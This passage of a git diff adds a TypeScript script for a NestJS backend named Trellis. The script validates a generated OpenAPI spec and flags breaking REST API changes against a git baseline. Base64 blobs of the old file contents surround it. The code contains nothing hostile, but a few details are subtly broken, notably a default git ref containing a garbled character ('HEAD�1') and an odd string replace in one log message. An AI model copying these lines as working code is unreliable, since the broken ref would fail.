wKSB7CiAgICAgICAgY29uc29sZS5sb2coCiAgICAgICAgICBgXG7imqAgRGV0ZWN0ZWQgJHticmVha2luZ0NoYW5nZXMubGVuZ3RofSBi cmVha2luZyBBUEkgY2hhbmdlKHMpIGFnYWluc3QgYmFzZWxpbmU6YC5yZXBsYWNlKCJiICIsICJiIiksCiAgICAgICAgKTsKICAgICAgICBmb3IgKGNvbnN0IGNoYW5nZSBvZiBicmVha2luZ0NoYW5nZXMpIHsKICAgICAgICAgIGNvbnNvbGUubG9nKGBcbiAgIFvwn5S0XSAke2NoYW5nZS5raW5kfWApOwogICAgICAgICAgY29uc29sZS5sb2coYCAgICAgICDwn5OBIExvY2F0aW9uOiAke2NoYW5nZS5sb2NhdGlvbn1gKTsKICAgICAgICAgIGNvbnNvbGUubG9nKGAgICAgICAgJHtjaGFuZ2UubWVzc2FnZX1gKTsKICAgICAgICB9CgogICAgICAgIGlmIChvcHRpb25zLmFsbG93QnJlYWtpbmdDaGFuZ2VzKSB7CiAgICAgICAgICBjb25zb2xlLmxvZygKICAgICAgICAgICAgIlxu4pqg77iPICAtLWFsbG93LWJyZWFraW5nLWNoYW5nZXMgd2FzIHNldDsgYnJlYWtpbmcgY2hhbmdlcyB3aWxsIG5vdCBmYWlsIENJLlxuIiArCiAgICAgICAgICAgICAgIiAgIFVzZSB0aGlzIG9ubHkgZm9yIGludGVudGlvbmFsIEFQSSBtYWpvciB2ZXJzaW9uIHVwZ3JhZGVzLiIsCiAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICByZXN1bHQuZXJyb3JzLnB1c2goCiAgICAgICAgICAgIGBEZXRlY3RlZCAke2JyZWFraW5nQ2hhbmdlcy5sZW5ndGh9IGJyZWFraW5nIEFQSSBjaGFuZ2UocykuIFJ1biB3aXRoIC0tYWxsb3ctYnJlYWtpbmctY2hhbmdlcyB0byBvdmVycmlkZS4iLAogICAgICAgICAgKTsKICAgICAgICAgIHJlc3VsdC52YWxpZCA9IGZhbHNlOwogICAgICAgIH0KICAgICAgfSBlbHNlIHsKICAgICAgICBjb25zb2xlLmxvZygiXG7inIUgTm8gYnJlYWtpbmcgQVBJIGNoYW5nZXMgZGV0ZWN0ZWQgYWdhaW5zdCBiYXNlbGluZS4iKTsKICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgY29uc29sZS5sb2coCiAgICAgICAgIlxu4oS577iPICBObyBiYXNlbGluZSBPcGVuQVBJIHNwZWMgZm91bmQ7IHNraXBwaW5nIGJyZWFraW5nIGNoYW5nZSBkZXRlY3Rpb24uIiwKICAgICAgKTsKICAgIH0KCiAgICBjb25zb2xlLmxvZygiXG7wn5OKIFNwZWNpZmljYXRpb24gU3RhdGlzdGljczoiKTsKICAgIGNvbnNvbGUubG9nKGAgICBFbmRwb2ludHM6ICAgICAgICAke3Jlc3VsdC5zdGF0cy5lbmRwb2ludHN9YCk7CiAgICBjb25zb2xlLmxvZyhgICAgU2NoZW1hczogICAgICAgICAgJHtyZXN1bHQuc3RhdHMuc2NoZW1hc31gKTsKICAgIGNvbnNvbGUubG9nKGAgICBUYWdzOiAgICAgICAgICAgICAke3Jlc3VsdC5zdGF0cy50YWdzfWApOwogICAgY29uc29sZS5sb2coYCAgIFNlY3VyaXR5IFNjaGVtZXM6ICR7cmVzdWx0LnN0YXRzLnNlY3VyaXR5U2NoZW1lc31gKTsKCiAgICBpZiAocmVzdWx0LmVycm9ycy5sZW5ndGggPiAwKSB7CiAgICAgIGNvbnNvbGUubG9nKCJcbini1IFZhbGlkYXRpb24gRXJyb3JzOiIpOwogICAgICByZXN1bHQuZXJyb3JzLmZvckVhY2goKGVycikgPT4gY29uc29sZS5sb2coYCAgIC0gJHtlcnJ9YCkpOwogICAgICByZXN1bHQudmFsaWQgPSBmYWxzZTsKICAgIH0KCiAgICBpZiAocmVzdWx0Lndhcm5pbmdzLmxlbmd0aCA+IDApIHsKICAgICAgY29uc29sZS5sb2coIlxu4pqg77iPICBWYWxpZGF0aW9uIFdhcm5pbmdzOiIpOwogICAgICByZXN1bHQud2FybmluZ3MuZm9yRWFjaCgod2FybikgPT4gY29uc29sZS5sb2coYCAgIC0gJHt3YXJufWApKTsKICAgIH0KCiAgICBpZiAocmVzdWx0LnZhbGlkICYmIHJlc3VsdC5lcnJvcnMubGVuZ3RoID09PSAwKSB7CiAgICAgIGNvbnNvbGUubG9nKCJcbiniFIE9wZW5BUEkgc3BlY2lmaWNhdGlvbiBpcyB2YWxpZCBhbmQgY29tcGxldGUhIik7CiAgICB9CgogICAgcmV0dXJuIHJlc3VsdDsKICB9IGNhdGNoIChlcnJvcikgewogICAgcmVzdWx0LmVycm9ycy5wdXNoKGBWYWxpZGF0aW9uIGVycm9yOiAkeyhlcnJvciBhcyBFcnJvcikubWVzc2FnZX1gKTsKICAgIHJlc3VsdC52YWxpZCA9IGZhbHNlOwogICAgcmV0dXJuIHJlc3VsdDsKICB9Cn0KCmFzeW5jIGZ1bmN0aW9uIGdlbmVyYXRlT3BlbkFQSVNwZWMoKTogUHJvbWlzZTx2b2lkPiB7CiAgY29uc3QgYXBwID0gYXdhaXQgTmVzdEZhY3RvcnkuY3JlYXRlKEFwcE1vZHVsZSwgewogICAgbG9nZ2VyOiBmYWxzZSwKICAgIGFib3J0T25FcnJvcjogZmFsc2UsCiAgfSk7CgogIGNvbnN0IGNvbmZpZyA9IG5ldyBEb2N1bWVudEJ1aWxkZXIoKQogICAgLnNldFRpdGxlKCJUcmVsbGlzIEJhY2tlbmQgQVBJIikKICAgIC5zZXREZXNjcmlwdGlvbigKICAgICAgIkNvbXByZWhlbnNpdmUgQVBJIGRvY3VtZW50YXRpb24gZm9yIFRyZWxsaXMgYmFja2VuZCBzZXJ2aWNlcyIsCiAgICApCiAgICAuc2V0VmVyc2lvbigiMS4wLjAiKQogICAgLnNldENvbnRhY3QoIlRyZWxsaXMgVGVhbSIsICJodHRwczovL3RyZWxsaXMuZXhhbXBsZSIpCiAgICAuc2V0TGljZW5zZSgiTUlUIikKICAgIC5hZGRTZXJ2ZXIoImh0dHA6Ly9sb2NhbGhvc3Q6MzAwMSIsICJEZXZlbG9wbWVudCBTZXJ2ZXIiKQogICAgLmFkZFNlcnZlcigiaHR0cHM6Ly9hcGkudHJlbGxpcy5leGFtcGxlIiwgIlByb2R1Y3Rpb24gU2VydmVyIikKICAgIC5hZGRCZWFyZXJBdXRoKAogICAgICB7CiAgICAgICAgdHlwZTogImh0dHAiLAogICAgICAgIHNjaGVtZTogImJlYXJlciIsCiAgICAgICAgYmVhcmVyRm9ybWF0OiAiSldUIiwKICAgICAgICBkZXNjcmlwdGlvbjogIkVudGVyIEpXVCB0b2tlbiIsCiAgICAgICAgaW46ICJoZWFkZXIiLAogICAgICB9LAogICAgICAiSldULWF1dGgiLAogICAgKQogICAgLmFkZEFwaUtleSgKICAgICAgewogICAgICAgIHR5cGU6ICJhcGlLZXkiLAogICAgICAgIG5hbWU6ICJYLUFQSS1LZXkiLAogICAgICAgIGluOiAiaGVhZGVyIiwKICAgICAgICBkZXNjcmlwdGlvbjogIkFQSSBrZXkgZm9yIHNlcnZpY2UtdG8tc2VydmljZSBjb21tdW5pY2F0aW9uIiwKICAgICAgfSwKICAgICAgImFwaS1rZXkiLAogICAgKQogICAgLmJ1aWxkKCk7CgogIGNvbnN0IGRvY3VtZW50ID0gU3dhZ2dlck1vZHVsZS5jcmVhdGVEb2N1bWVudChhcHAsIGNvbmZpZywgewogICAgZGVlcFNjYW5Sb3V0ZXM6IHRydWUsCiAgfSk7CgogIGNvbnN0IHsgd3JpdGVGaWxlU3luYywgbWtkaXJTeW5jIH0gPSBhd2FpdCBpbXBvcnQoImZzIik7CiAgY29uc3QgeyBqb2luIH0gPSBhd2FpdCBpbXBvcnQoInBhdGgiKTsKCiAgY29uc3Qgb3V0RGlyID0gam9pbihfX2Rpcm5hbWUsICIuLiIsICJkb2NzIik7CiAgbWtkaXJTeW5jKG91dERpciwgeyByZWN1cnNpdmU6IHRydWUgfSk7CgogIHdyaXRlRmlsZVN5bmMoCiAgICBqb2luKG91dERpciwgIm9wZW5hcGkuanNvbiIpLAogICAgSlNPTi5zdHJpbmdpZnkoZG9jdW1lbnQsIG51bGwsIDIpLAogICAgInV0Zi04IiwKICApOwoKICBhd2FpdCBhcHAuY2xvc2UoKTsKfQoKYXN5bmMgZnVuY3Rpb24gbWFpbigpOiBQcm9taXNlPHZvaWQ+IHsKICB0cnkgewogICAgY29uc3Qgb3B0aW9ucyA9IHBhcnNlQXJndigpOwogICAgY29uc3QgcmVzdWx0ID0gYXdhaXQgdmFsaWRhdGVPcGVuQVBJKG9wdGlvbnMpOwoKICAgIGlmICghcmVzdWx0LnZhbGlkKSB7CiAgICAgIHByb2Nlc3MuZXhpdCgxKTsKICAgIH0KCiAgICBwcm9jZXNzLmV4aXQoMCk7CiAgfSBjYXRjaCAoZXJyb3IpIHsKICAgIGNvbnNvbGUuZXJyb3IoIlZhbGlkYXRpb24gc2NyaXB0IGVycm9yOiIsIGVycm9yKTsKICAgIHByb2Nlc3MuZXhpdCgxKTsKICB9Cn0KCmlmIChyZXF1aXJlLm1haW4gPT09IG1vZHVsZSkgewogIG1haW4oKTsKfQoKZXhwb3J0IHsgdmFsaWRhdGVPcGVuQVBJLCBWYWxpZGF0aW9uUmVzdWx0IH07Cg== \ No newline at end of file +/** + * OpenAPI Specification Validation Script + * + * Validates the generated OpenAPI specification for completeness and consistency, + * and detects breaking REST API contract changes against a git baseline. + * + * Usage: + * npm run openapi:validate + * npm run openapi:validate -- --allow-breaking-changes + * npm run openapi:validate -- --baseline git:Origin/main + */ + +import { NestFactory } from "@nestjs/core"; +import { DocumentBuilder, SwaggerModule, OpenAPIObject } from "@nestjs/swagger"; +import { readFileSync, existsSync } from "fs"; +import { join } from "path"; +import { execFileSync } from "child_process"; +import { AppModule } from "../src/app.module"; + +interface ValidationResult { + valid: boolean; + errors: string[]; + warnings: string[]; + breakingChanges: BreakingChange[]; + stats: { + endpoints: number; + schemas: number; + tags: number; + securitySchemes: number; + }; +} + +export type BreakingChangeKind = + | "removed-endpoint" + | "removed-method" + | "removed-response-status" + | "removed-response-property" + | "changed-property-type" + | "added-required-request-parameter" + | "added-required-request-body-property" + | "removed-path-parameter" + | "changed-parameter-type"; + +export interface BreakingChange { + kind: BreakingChangeKind; + location: string; + message: string; +} + +export interface CompareOptions { + allowBreakingChanges?: boolean; + baselineRef?: string; +} + +const HTTP_METHODS = [ + "get", + "post", + "put", + "delete", + "patch", + "options", + "head", +] as const; + +/** + * Resolve the git baseline OpenAPI JSON document. Prefers an explicit ref + * (usually from CI, e.g. git:ORIGIN_HEAD~1 or git:origin/main). Falls back + * to a sensible default and returns null when no baseline is available. + */ +export function resolveBaselineSpec(baselineRef?: string): OpenAPIObject | null { + const ref = baselineRef || process.env.OPENAPI_BASELINE_REF || "git:HEAD~1"; + const [source, refName] = ref.split(":", 2); + + if (source === "file") { + if (!existsSync(refName)) { + return null; + } + try { + return JSON.parse(readFileSync(refName, "utf-8")) as OpenAPIObject; + } catch { + return null; + } + } + + if (source !== "git") { + return null; + } + + const gitRef = refName || "HEAD�1"; + try { + const out = execFileSync( + "git", + ["show", `${gitRef}:docs/openapi.json`], + { encoding: "utf-8", maxBuffer: 64 * 1024 * 1024 }, + ); + return JSON.parse(out) as OpenAPIObject; + } catch { + return null; + } +} + +function resolveRef(spec: any, ref: string): any { + if (!ref || !ref.startsWith("#/")) { + return undefined; + } + const parts = ref.substring(1).split("/"); + let cur = spec; + for (const part of parts) { + if (cur == null) { + return undefined; + } + cur = cur[decodeURIComponent(part)]; + } + return cur; +} + +function normalizeType(type: any): string { + if (type == null) { + return "unknown"; + } + if (Array.isArray(type)) { + return type.map((t) => String(t)).sort().join("|"); + } + return String(type); +} + +function describeSchema(schema: any): string { + if (!schema) { + return "unknown"; + } + if (schema.$ref) { + return schema.$ref; + } + if (schema.allOf) { + return schema.allOf.map(describeSchema).join(" & "); + } + if (schema.oneOf) { + return schema.oneOf.map(describeSchema).join(" | "); + } + if (schema.anyOf) { + return schema.anyOf.map(describeSchema).join(" | "); + } + if (schema.type === "array") { + return `Array<${describeSchema(schema.items)}>`; + } + if (schema.type === "object" || schema.properties) { + return "object"; + } + return normalizeType(schema.type); +} + +function getResolvedSchema(spec: any, schema: any): any { + if (!schema) { + return schema; + } + if (schema.$ref) { + const resolved = resolveRef(spec, schema.$ref); + return resolved || schema; + } + return schema; +} + +function collectResponseProperties( + spec: any, + schema: any, + prefix: string, + out: Map, + visited: Set, +): void { + const resolved = getResolvedSchema(spec, schema); + if (!resolved) { + return; + } + + if (resolved.$ref) { + if (visited.has(resolved.$ref)) { + return; + } + visited.add(resolved.$ref); + } + + if (resolved.allOf) { + for (const part of resolved.allOf) { + collectResponseProperties(spec, part, prefix, out, visited); + } + } + + if (resolved.properties) { + for (const [key, value] of Object.entries(resolved.properties as Record)) { + const path = prefix ? `${prefix}.${key}` : key; + out.set(path, describeSchema(value)); + const nested = getResolvedSchema(spec, value); + if (nested && (nested.properties || nested.allOf)) { + collectResponseProperties(spec, nested, path, out, visited); + } + } + } +} + +function collectRequestBodyProperties( + spec: any, + schema: any, + prefix: string, + out: Map, + visited: Set, +): void { + const resolved = getResolvedSchema(spec, schema); + if (!resolved) { + return; + } + + if (resolved.$ref) { + if (visited.has(resolved.$ref)) { + return; + } + visited.add(resolved.$ref); + } + + if (resolved.allOf) { + for (const part of resolved.allOf) { + collectRequestBodyProperties(spec, part, prefix, out, visited); + } + } + + if (resolved.properties) { + for (const [key, value] of Object.entries(resolved.properties as Record)) { + const path = prefix ? `${prefix}.${key}` : key; + out.set(path, describeSchema(value)); + const nested = getResolvedSchema(spec, value); + if (nested && (nested.properties || nested.allOf)) { + collectRequestBodyProperties(spec, nested, path, out, visited); + } + } + } +} + +function collectRequestBodyRequired( + spec: any, + schema: any, + prefix: string, + out: Map, + visited: Set, +): void { + const resolved = getResolvedSchema(spec, schema); + if (!resolved) { + return; + } + + if (resolved.$ref) { + if (visited.has(resolved.$ref)) { + return; + } + visited.add(resolved.$ref); + } + + if (resolved.allOf) { + for (const part of resolved.allOf) { + collectRequestBodyRequired(spec, part, prefix, out, visited); + } + } + + if (resolved.properties) { + const required: string[] = Array.isArray(resolved.required) + ? resolved.required + : []; + for (const [key, value] of Object.entries(resolved.properties as Record)) { + const path = prefix ? `${prefix}.${key}` : key; + if (required.includes(key)) { + out.set(path, describeSchema(value)); + } + const nested = getResolvedSchema(spec, value); + if (nested && (nested.properties || nested.allOf)) { + collectRequestBodyRequired(spec, nested, path, out, visited); + } + } + } +} + +function collectResponseStatuses(operation: any): Map { + const out = new Map(); + for (const [status, response] of Object.entries( + (operation.responses || {}) as Record, + )) { + out.set(String(status), response); + } + return out; +} + +function collectParameters(operation: any): Map { + const out = new Map(); + const params = Array.isArray(operation.parameters) + ? operation.parameters + : []; + for (const param of params) { + if (!param || !param.name) { + continue; + } + const key = `${param.in || "query"}:${param.name}`; + out.set(key, param); + } + return out; +} + +export function detectBreakingChanges( + baseline: OpenAPIObject | null, + current: OpenAPIObject, +): BreakingChange[] { + const changes: BreakingChange[] = []; + + if (!baseline) { + return changes; + } + + const basePaths = (baseline.paths || {}) as Record; + const currPaths = (current.paths || {}) as Record; + + for (const [path, baseItem] of Object.entries(basePaths)) { + const currItem = currPaths[path]; + if (!currItem) { + changes.push({ + kind: "removed-endpoint", + location: path, + message: `Endpoint ${path} was removed`, + }); + continue; + } + + for (const method of HTTP_METHODS) { + const baseOp = baseItem[method]; + if (!baseOp) { + continue; + } + const currOp = currItem[method]; + const location = `${method.toUpperCase()} ${path}`; + if (!currOp) { + changes.push({ + kind: "removed-method", + location, + message: `Method ${method.toUpperCase()} ${path} was removed`, + }); + continue; + } + + // Response status codes + const baseResponses = collectResponseStatuses(baseOp); + const currResponses = collectResponseStatuses(currOp); + for (const [status, baseResponse] of baseResponses) { + const currResponse = currResponses.get(status); + if (!currResponse) { + changes.push({ + kind: "removed-response-status", + location: `${location} -> ${status}`, + message: `Response status ${status} was removed from ${location}`, + }); + continue; + } + + const baseSchema = baseResponse.content?.["application/json"]?.schema; + const currSchema = currResponse.content?.["application/json"]?.schema; + if (!baseSchema) { + continue; + } + if (!currSchema) { + changes.push({ + kind: "removed-response-property", + location: `${location} -> ${status} body`, + message: `Response body schema was removed for ${location} (${status})`, + }); + continue; + } + + const baseProps = new Map(); + collectResponseProperties( + baseline as any, + baseSchema, + "", + baseProps, + new Set(), + ); + const currProps = new Map(); + collectResponseProperties( + current as any, + currSchema, + "", + currProps, + new Set(), + ); + + for (const [prop, baseType] of baseProps) { + const currType = currProps.get(prop); + if (currType === undefined) { + changes.push({ + kind: "removed-response-property", + location: `${location} -> ${status} -> ${prop}`, + message: `Response property ${prop} was removed from ${location} (${status})`, + }); + } else if (currType !== baseType) { + changes.push({ + kind: "changed-property-type", + location: `${location} -> ${status} -> ${prop}`, + message: `Response property ${prop} type changed from '${baseType}' to '${currType}' in ${location} (${status})`, + }); + } + } + } + + // Parameters + const baseParams = collectParameters(baseOp); + const currParams = collectParameters(currOp); + for (const [key, baseParam] of baseParams) { + const currParam = currParams.get(key); + if (!currParam) { + if (baseParam.in === "path") { + changes.push({ + kind: "removed-path-parameter", + location: `${location} -> ${key}`, + message: `Path parameter ${baseParam.name} was removed from ${location}`, + }); + } + continue; + } + const baseType = normalizeType(baseParam.schema?.type); + const currType = normalizeType(currParam.schema?.type); + if (baseType !== currType) { + changes.push({ + kind: "changed-parameter-type", + location: `${location} -> ${key}`, + message: `Parameter ${baseParam.name} type changed from '${baseType}' to '${currType}' in ${location}`, + }); + } + } + + for (const [key, currParam] of currParams) { + if (baseParams.has(key)) { + continue; + } + if (currParam.required === true) { + changes.push({ + kind: "added-required-request-parameter", + location: `${location} -> ${key}`, + message: `Required parameter ${currParam.name} (${currParam.in}) was added to ${location}`, + }); + } + } + + // Request body required properties + const baseRequestSchema = + baseOp.requestBody?.content?.["application/json"]?.schema; + const currRequestSchema = + currOp.requestBody?.content?.["application/json"]?.schema; + if (currRequestSchema) { + const baseRequired = new Map(); + if (baseRequestSchema) { + collectRequestBodyRequired( + baseline as any, + baseRequestSchema, + "", + baseRequired, + new Set(), + ); + } + const currRequired = new Map(); + collectRequestBodyRequired( + current as any, + currRequestSchema, + "", + currRequired, + new Set(), + ); + for (const [prop, type] of currRequired) { + if (!baseRequired.has(prop)) { + changes.push({ + kind: "added-required-request-body-property", + location: `${location} -> requestBody -> ${prop}`, + message: `Required request body property ${prop} (${type}) was added to ${location}`, + }); + } + } + } + } + } + + return changes; +} + +function parseArgs(): { allowBreakingChanges: boolean; baselineRef?: string } { + const argv = process.argv.slice(2); + const options = { allowBreakingChanges: false as boolean, baselineRef: undefined as string | undefined }; + for (let i = 0; i < argv.length; i++) { + const arg = argv[i]; + if (arg === "--allow-breaking-changes") { + options.allowBreakingChanges = true; + } else if (arg === "--baseline" && argv[i + 1]) { + options.baselineRef = argv[++i]; + } else if (arg.startsWith("--baseline=")) { + options.baselineRef = arg.substring("--baseline=".length); + } + } + return options; +} + +async function validateOpenAPI( + options: CompareOptions = {}, +): Promise { + const result: ValidationResult = { + valid: true, + errors: [], + warnings: [], + breakingChanges: [], + stats: { + endpoints: 0, + schemas: 0, + tags: 0, + securitySchemes: 0, + }, + }; + + try { + const specPath = join(__dirname, "..", "docs", "openapi.json"); + + if (!existsSync(specPath)) { + console.log("📝 Generating OpenAPI spec first..."); + await generateOpenAPISpec(); + } + + const specContent = readFileSync(specPath, "utf-8"); + const spec: OpenAPIObject = JSON.parse(specContent); + + console.log("\n🔍 Validating OpenAPI Specification\n"); + + if (!spec.openapi) { + result.errors.push("Missing openapi version"); + } + if (!spec.info) { + result.errors.push("Missing info object"); + } + if (!spec.paths) { + result.errors.push("Missing paths object"); + } + + result.stats.endpoints = Object.keys(spec.paths || {}).length; + result.stats.schemas = Object.keys(spec.components?.schemas || {}).length; + result.stats.tags = spec.tags?.length || 0; + result.stats.securitySchemes = Object.keys( + spec.components?.securitySchemes || {}, + ).length; + + const requiredTags = ["Health", "Authentication", "Users", "Oracle"]; + const existingTags = (spec.tags || []).map((t: any) => t.name); + + for (const tag of requiredTags) { + if (!existingTags.includes(tag)) { + result.warnings.push(`Missing recommended tag: ${tag}`); + } + } + + const securitySchemes = spec.components?.securitySchemes || {}; + if (!securitySchemes["JWT-auth"]) { + result.warnings.push("Missing JWT security scheme (JWT-auth)"); + } + if (!securitySchemes["api-key"]) { + result.warnings.push("Missing API key security scheme"); + } + + if (!spec.servers || spec.servers.length === 0) { + result.warnings.push("No servers defined in spec"); + } + + let undocumentedEndpoints = 0; + + for (const [path, pathItem] of Object.entries(spec.paths || {})) { + for (const [method, operation] of Object.entries(pathItem as any) as [string, any][]) { + if ( + ["get", "post", "put", "delete", "patch", "options"].includes(method) + ) { + if (!operation.summary) { + undocumentedEndpoints++; + } + + if (!operation.responses) { + result.warnings.push( + `Missing responses for ${method.toUpperCase()} ${path}`, + ); + } + } + } + } + + if (undocumentedEndpoints > 0) { + result.warnings.push( + `${undocumentedEndpoints} endpoints missing summary documentation`, + ); + } + + // Breaking change detection against the git baseline + const baseline = resolveBaselineSpec(options.baselineRef); + if (baseline) { + const breakingChanges = detectBreakingChanges(baseline, spec); + result.breakingChanges = breakingChanges; + + if (breakingChanges.length > 0) { + console.log( + `\n⚠ Detected ${breakingChanges.length} breaking API change(s) against baseline:`.replace("b ", "b"), + ); + for (const change of breakingChanges) { + console.log(`\n [🔴] ${change.kind}`); + console.log(` 📁 Location: ${change.location}`); + console.log(` ${change.message}`); + } + + if (options.allowBreakingChanges) { + console.log( + "\n⚠️ --allow-breaking-changes was set; breaking changes will not fail CI.\n" + + " Use this only for intentional API major version upgrades.", + ); + } else { + result.errors.push( + `Detected ${breakingChanges.length} breaking API change(s). Run with --allow-breaking-changes to override.`, + ); + result.valid = false; + } + } else { + console.log("\n✅ No breaking API changes detected against baseline."); + } + } else { + console.log( + "\nℹ️ No baseline OpenAPI spec found; skipping breaking change detection.", + ); + } + + console.log("\n📊 Specification Statistics:"); + console.log(` Endpoints: ${result.stats.endpoints}`); + console.log(` Schemas: ${result.stats.schemas}`); + console.log(` Tags: ${result.stats.tags}`); + console.log(` Security Schemes: ${result.stats.securitySchemes}`); + + + if (result.errors.length > 0) { + console.log("\n❌ Validation Errors:"); + for (const message of result.errors) { + console.log(` ✖ ${message}`); + } + result.valid = false; + } + + if (result.warnings.length > 0) { + console.log(`\n⚠️ ${result.warnings.length} warning(s):`); + for (const message of result.warnings) { + console.log(` • ${message}`); + } + } + + if (result.valid) { + console.log( + result.warnings.length > 0 + ? "\n✅ OpenAPI specification is valid (warnings are advisory)." + : "\n✅ OpenAPI specification is valid.", + ); + } else { + console.log("\n❌ OpenAPI specification validation failed."); + } + } catch (error) { + result.errors.push(`Validation error: ${(error as Error).message}`); + result.valid = false; + } + + return result; +} + +async function generateOpenAPISpec(): Promise { + const app = await NestFactory.create(AppModule, { + logger: false, + abortOnError: false, + }); + + const config = new DocumentBuilder() + .setTitle("Trellis Backend API") + .setDescription( + "Comprehensive API documentation for Trellis backend services", + ) + .setVersion("1.0.0") + .setContact("Trellis Team", "https://trellis.example", "support@trellis.example") + .setLicense("MIT", "https://opensource.org/licenses/MIT") + .addServer("http://localhost:3001", "Development Server") + .addServer("https://api.trellis.example", "Production Server") + .addBearerAuth( + { + type: "http", + scheme: "bearer", + bearerFormat: "JWT", + description: "Enter JWT token", + in: "header", + }, + "JWT-auth", + ) + .addApiKey( + { + type: "apiKey", + name: "X-API-Key", + in: "header", + description: "API key for service-to-service communication", + }, + "api-key", + ) + .build(); + + const document = SwaggerModule.createDocument(app, config, { + deepScanRoutes: true, + }); + + const { writeFileSync, mkdirSync } = await import("fs"); + + const outDir = join(__dirname, "..", "docs"); + mkdirSync(outDir, { recursive: true }); + + writeFileSync( + join(outDir, "openapi.json"), + JSON.stringify(document, null, 2), + "utf-8", + ); + + await app.close(); +} + +async function main(): Promise { + try { + const options = parseArgs(); + const result = await validateOpenAPI(options); + process.exit(result.valid ? 0 : 1); + } catch (error) { + console.error("Validation script error:", error); + process.exit(1); + } +} + +main(); + +export { validateOpenAPI, generateOpenAPISpec }; +export type { ValidationResult }; diff --git a/src/common/guard/quota.guard.spec.ts b/src/common/guard/quota.guard.spec.ts index 3bdf84bd..24ae1512 100644 --- a/src/common/guard/quota.guard.spec.ts +++ b/src/common/guard/quota.guard.spec.ts @@ -1 +1,216 @@ -aW1wb3J0IHsgRXhlY3V0aW9uQ29udGV4dCwgSHR0cEV4Y2VwdGlvbiwgSHR0cFN0YXR1cyB9IGZyb20gIkBuZXN0anMvY29tbW9uIjsKaW1wb3J0IHsgUmVmbGVjdG9yIH0gZnJvbSAiQG5lc3Rqcy9jb3JlIjsKaW1wb3J0IHsgUXVvdGFHdWFyZCwgUXVvdGFSZWRpc0NsaWVudCB9IGZyb20gIi4vcXVvdGEuZ3VhcmQiOwppbXBvcnQgeyBFcnJvckNvZGUgfSBmcm9tICJzcmMvY29tbW9uL2Vycm9ycy9lcnJvci1jb2RlcyI7CgpmdW5jdGlvbiBjcmVhdGVDb250ZXh0KG9wdGlvbnM/OiB7CiAgdXNlcj86IHsKICAgIGlkPzogc3RyaW5nOwogICAgc3ViPzogc3RyaW5nOwogICAgYWRkcmVzcz86IHN0cmluZzsKICAgIHJvbGU/OiBzdHJpbmc7CiAgICB0aWVyPzogc3RyaW5nOwogICAgdHlwZT86IHN0cmluZzsKICAgIGFwaUtleT86IHN0cmluZzsKICB9OwogIGlwPzogc3RyaW5nOwogIG9yaWdpbmFsVXJsPzogc3RyaW5nOwogIGhlYWRlcnM/OiBSZWNvcmQ8c3RyaW5nLCBzdHJpbmc+Owp9KTogewogIGNvbnRleHQ6IEV4ZWN1dGlvbkNvbnRleHQ7CiAgcmVzcG9uc2U6IHsgaGVhZGVyOiBqZXN0Lk1vY2s7IHNldEhlYWRlcjogamVzdC5Nb2NrIH07Cn0gewogIGNvbnN0IHJlcXVlc3QgPSB7CiAgICBpcDogb3B0aW9ucz8uaXAgPz8gIjEyNy4wLjAuMSIsCiAgICBoZWFkZXJzOiBvcHRpb25zPy5oZWFkZXJzID8/IHt9LAogICAgb3JpZ2luYWxVcmw6IG9wdGlvbnM/Lm9yaWdpbmFsVXJsID8/ICIvYXBpL3Rlc3QiLAogICAgcm91dGU6IHsgcGF0aDogIi9hcGkvdGVzdCIgfSwKICAgIGF1dGhUeXBlOiBvcHRpb25zPy51c2VyPy50eXBlLAogICAgdXNlcjogb3B0aW9ucz8udXNlciwKICB9OwoKICBjb25zdCByZXNwb25zZSA9IHsKICAgIGhlYWRlcjogamVzdC5mbigpLAogICAgc2V0SGVhZGVyOiBqZXN0LmZuKCksCiAgfTsKCiAgY29uc3QgY29udGV4dCA9IHsKICAgIGdldEhhbmRsZXI6IGplc3QuZm4oKSwKICAgIGdldENsYXNzOiBqZXN0LmZuKCksCiAgICBzd2l0Y2hUb0h0dHA6ICgpID0+ICh7CiAgICAgIGdldFJlcXVlc3Q6ICgpID0+IHJlcXVlc3QsCiAgICAgIGdldFJlc3BvbnNlOiAoKSA9PiByZXNwb25zZSwKICAgIH0pLAogIH0gYXMgdW5rbm93biBhcyBFeGVjdXRpb25Db250ZXh0OwoKICByZXR1cm4geyBjb250ZXh0LCByZXNwb25zZSB9Owp9CgpmdW5jdGlvbiBjcmVhdGVSZWRpcyhpbml0aWFsID0gMCk6IHsKICBjbGllbnQ6IFF1b3RhUmVkaXNDbGllbnQ7CiAgc3RvcmU6IE1hcDxzdHJpbmcsIG51bWJlcj47CiAgZXhwaXJlczogamVzdC5Nb2NrOwp9IHsKICBjb25zdCBzdG9yZSA9IG5ldyBNYXA8c3RyaW5nLCBudW1iZXI+KCk7CiAgY29uc3QgZXhwaXJlcyA9IGplc3QuZm4oKS5tb2NrUmVzb2x2ZWQoMSk7CiAgY29uc3QgY2xpZW50OiBRdW90YVJlZGlzQ2xpZW50ID0gewogICAgaW5jcjogamVzdC5mbi5hc3luYyAoa2V5OiBzdHJpbmcpID0+IHsKICAgICAgY29uc3QgbmV4dCA9IChzdG9yZS5nZXQoa2V5KSA/PyBpbml0aWFsKSArIDE7CiAgICAgIHN0b3JlLnNldChrZXksIG5leHQpOwogICAgICByZXR1cm4gbmV4dDsKICAgIH0pLAogICAgZ2V0OiBqZXN0LmZuLmFzeW5jIChrZXk6IHN0cmluZykgPT4gewogICAgICBjb25zdCB2YWx1ZSA9IHN0b3JlLmdldChrZXkpOwogICAgICByZXR1cm4gdmFsdWUgPT09IHVuZGVmaW5lZCA/IG51bGwgOiBTdHJpbmcodmFsdWUpOwogICAgfSksCiAgICBleHBpcmU6IGV4cGlyZXMsCiAgfTsKCiAgcmV0dXJuIHsgY2xpZW50LCBzdG9yZSwgZXhwaXJlcyB9Owp9CgpkZXNjcmliZSgiUXVvdGFHdWFyZCIsICgpID0+IHsKICBsZXQgcmVmbGVjdG9yOiBSZWZsZWN0b3I7CgogIGJlZm9yZUVhY2goKCkgPT4gewogICAgcmVmbGVjdG9yID0gbmV3IFJlZmxlY3RvcigpOwogIH0pOwoKICBpdCgiYWxsb3dzIHJlcXVlc3RzIGFuZCBlbWl0cyByYXRlLWxpbWl0IGhlYWRlcnMgZm9yIHRoZSBkZWZhdWx0IHRpZXIiLCBhc3luYyAoKSA9PiB7CiAgICBjb25zdCBndWFyZCA9IG5ldyBRdW90YUd1YXJkKHJlZmxlY3Rvcik7CiAgICBqZXN0LnNweU9uKHJlZmxlY3RvciwgImdldEFsbEFuZE92ZXJyaWRlIikubW9ja1JldHV